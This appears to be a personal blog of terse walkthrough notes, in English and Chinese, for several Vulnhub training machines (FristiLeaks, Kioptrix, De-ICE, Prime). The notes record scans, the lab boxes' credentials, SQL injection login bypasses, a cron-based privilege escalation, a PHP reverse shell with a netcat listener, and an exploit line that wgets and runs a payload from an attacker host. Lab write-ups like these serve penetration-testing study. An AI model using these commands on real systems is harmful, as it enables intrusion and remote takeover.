bl0g

Tuesday, October 8, 2019

Vulnhub: FristiLeaks: 1.3

source: https://www.vulnhub.com/entry/fristileaks-13,133/

192.168.1.24

nmap:
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

maybe centos 6.8

nikto:
/cola
/sisi
/beer
/robots.txt
/icons
/images
/icons/README

from source code:

TODO:

We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz

and two base64-encoded pictures.

username eezeepz, password keKkeKKeKKeKkEkkEk

upload bypass:

rename rs.php to rs.php.png

centos 6.7

Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

eezeepz:x:500:500::/home/eezeepz:/bin/bash

admin:x:501:501::/home/admin:/bin/bash

fristigod:x:502:502::/var/fristigod:/bin/bash

fristi:x:503:100::/var/www:/sbin/nologin

cat /var/www/notes.txt hey eezeepz your homedir is a mess, go clean it up, just dont delete the important stuff. -jerry

cat /home/eezeepz/notes.txt
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those

from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The

output goes to the file "cronresult" in /tmp/. It should

run every minute with my account privileges.

- Jerry

privilege escalation:

echo “/home/admin/chmod -R 777 /home/admin” > /tmp/runthis

cd /home/admin

cat whoisyourgodnow.txt

=RFn0AKnlMHMPIzpyuTI0ITG

cat cryptedpass.txt

mVGZ3O3omkJLmy2pcuTq

cat cryptpass.py

rot13 decode->reverse->base64 decode

mVGZ3O3omkJLmy2pcuTq->thisisalsopw123

=RFn0AKnlMHMPIzpyuTI0ITG->LetThereBeFristi!

username fristigod, password LetThereBeFristi!

switch to tty:
python -c "import pty; pty.spawn('/bin/bash')"

head /var/www/html/fristi/checklogin.php

<?php

ob_start();

$host="localhost"; // Host name

$username="eezeepz"; // Mysql username

$password="4ll3maal12#"; // Mysql password

$db_name="hackmenow"; // Database name

$tbl_name="members"; // Table name

Vulnhub: Kioptrix: Level 1.3 (#4)

来源: https://www.vulnhub.com/entry/kioptrix-level-13-4,25/

192.168.1.23

scan with nmap:

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

maybe ubuntu 8.04

version check with smbclient Samba 3.0.28a

enum4linux 192.168.1.23:

S-1-22-1-1000 Unix User\loneferret (Local User)

S-1-22-1-1001 Unix User\john (Local User)

S-1-22-1-1002 Unix User\robert (Local User)

gobuster:

/images (Status: 301)

/index (Status: 200)

/index.php (Status: 200)

/john (Status: 301)

/logout (Status: 302)

/member (Status: 302)

/robert (Status: 301)

sql injection:

username john, password a’ or 1=1 and ‘a’=’a

MyNameIsJohn

username robert, password a’ or 1=1 and ‘a’=’a

ADGAdsafdfwt4gadfga==

ssh john@192.168.1.23

echo $SHELL

/bin/kshell

local file inclusion with null byte:

http://192.168.1.23/member.php?username=../../../../bin/kshell

https://github.com/ghantoos/lshell

jail break:

https://github.com/ghantoos/lshell/issues/149

Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation

Saturday, October 5, 2019

Vulnhub Kioptrix: Level 1.2 (#3)

来源: https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

https://github.com/kevinbluett/LotusCMS-Content-Management-System

192.168.1.19

http://192.168.1.19/phpmyadmin
login with username kioptrix, empty password
不过只能看个 information schema, 暂时没有用处

https://web.archive.org/web/20191006051509/https://packetstormsecurity.com/files/122161/LotusCMS-3.0-PHP-Code-Execution.html
LotusCMS 3.0 Eval() Remote Code Execution Exploit.

https://www.exploit-db.com/exploits/18565
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)

http://192.168.1.19/phpmyadmin
login with username root, password fuckeyou

ssh login username dreg, password Mast3r
ssh login username loneferret, password starwars

https://stackoverflow.com/a/24664760/2252015
export TERM=xterm

https://www.exploit-db.com/exploits/17083
HT Editor 2.0.18 - File Opening Stack Overflow

https://www.exploit-db.com/exploits/15891
GALLARIFIC PHP Photo Gallery Script - 'gallery.php' SQL Injection

----
1. 好长时间没有做 vulnhub 了, 其实最近一直在刷 attackdefense
2. exploit 使用工具的要求同 OSCP
3. 现阶段的报告能简单就简单一些, 等空下来再完善:)

Tuesday, September 10, 2019

Vulnhub Kioptrix: Level 1.1 (#2)

来源: https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

Kioptrix_Level_2-update.rar

22/tcp OpenSSH 3.9p1 (protocol 1.99)
80/tcp Apache httpd 2.0.52 ((CentOS))
111/tcp rpcbind 2 (RPC)
443/tcp ssl/https?
631/tcp CUPS 1.1
781/tcop status 1 (RPC)
3306/tcp mysql MySQL

多次尝试后[1], 尝试使用 sql 注入绕过验证

多次盲注尝试[2]

http://192.168.1.101/index.php 用户名 Administrator 密码 pass' or 1=1 and 'a'='a

从 web 调用 ping 的页面

如果没有过滤就是一个现成的 webshell

使用 nc 得到 reverse shell

sendpage
ip_append_data

method 1:

Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5)

method 2:

Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)

post exploitation

mysql 用户名 john 密码 hiroshima

web

用户名 admin 密码 5afac8d85f
用户名 john 密码 66lajGGbla

mysql 用户名 root 密码 hiroshima

Monday, September 9, 2019

Vulnhub Kioptrix: Level 1 (#1)

来源: https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

nmap

apache httpd openssl openfuck
samba

method 1:

使用 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)

根据 Updating OpenFuck Exploit 更新 poc

因为不知道 target 的情况[1], 直接本地编译一份 ptrace-kmod.c

#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://192.168.1.90/p -O p; chmod +x ./p; ./p; \n"

kali 下 #include <linux/user.h> 替换为 #include <sys/user.h>

这个 exploit 需要尝试几次, 不算特别稳定

拿到 root shell

method 2:

之前使用 Samba 3.4.5 - Symlink Directory Traversal 的时候, 编译过一个 samba v3.4.5 的客户端, 使用这个客户端

export LD_LIBRARY_PATH="/root/bin/samba/smbclient/lib:$LD_LIBRARY_PATH"

./bin/smbclient "$@"

使用 Samba < 2.2.8 (Linux/BSD) - Remote Code Execution

拿到 root shell

尝试 rockyou.txt 破解三个用户的密码, 没有成功

Vulnhub De-ICE: S1.100

来源: https://www.vulnhub.com/entry/de-ice-s1100,8/

nmap

21/tcp ftp vsftp (broken: could not bind listening IPv4 socket)
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
25/tcp open smtp SendMail 8.13.7
80/tcp open Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW imapd 2004.357

员工姓名

脚本生成一些用户名

配合 OpenSSH 2.3 < 7.7 - Username Enumeration

while read user; do
python ~/bin/ssh/enumeration/username 192.168.1.100 --username $user
done < ./users

hydra 暴力破解 ssh

ssh 用户名 bbanter 密码 bbanter

aadams 在 wheel 组

ssh 不允许 root 登录

换个字典

ssh 用户名 aadams 密码 nostradamus

su 需要 root 密码
但是可以 sudo cat /etc/shadow

下载 /etc/pass 和 /etc/shadow

john-the-ripper 暴力破解

ssh

用户名 root 密码 tarot
用户名 ccoffee 密码 hierophant

修复 vsftpd 错误配置

手动加载模块

ftp 用户 root 密码 tarot

Sunday, September 8, 2019

Vulnhub Prime: 1

来源: https://www.vulnhub.com/entry/prime-1,358/

nmap version check:

22/tcp OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp Apache httpd 2.4.18 ((Ubuntu))

尝试 gobuster/nikto/dirb 扫描

/image.php
/index.php
/secret.txt

请求某个 php 页面, 参数 secrettier360

尝试 LFI, 请求 /etc/passwd

为了显示方便, 这里只 grep 了需要的部分请求对应的 password.txt

密码 follow_the_ippsec
ippsec? youtube 的一个安全教程相关的频道

多次尝试[1], 发现是 wordpress victor 的密码

wordpress 用户名 victor 密码 follow_the_ippsec

多次尝试[2], 在 Appearance->Theme Editor 找到一个可以写入的文件 secret.php

使用 webshells 包的 php/php-reverse-shell.php, 修改 LHOST/LPORT:

$ip = '192.168.1.90';
$port = 4444;

本地 terminal 设置 `nc -n -v -l -p 4444`

浏览器访问 http://192.168.1.17/wordpress/wp-content/themes/twentynineteen/secret.php

拿到 unstable limited reverse shell

victor 在 sudo 组

privilege escalation

破解 AES 密码, sudo 提权
利用内核漏洞提权

method 1:

执行 /home/saket/enc, 提示密码, 尝试几个简单的密码[3], 没有成功

目录遍历的时候, /opt/backup/server_database 找到两个奇怪的文件

另外一个是空文件 {hello.8} 再次执行 /home/saket/enc, 密码 backup_password

提取出 enc.txt 和 key.txt

又是 ippsec

多次尝试, https://www.devglan.com/online-tools/aes-encryption-decryption

Dont worry saket one day we will reach toour destination very soon. And if you forget your username then use your old password==> "tribute_to_ippsec"Victor,

ssh 用户名 saket, 密码 tribute_to_ippsec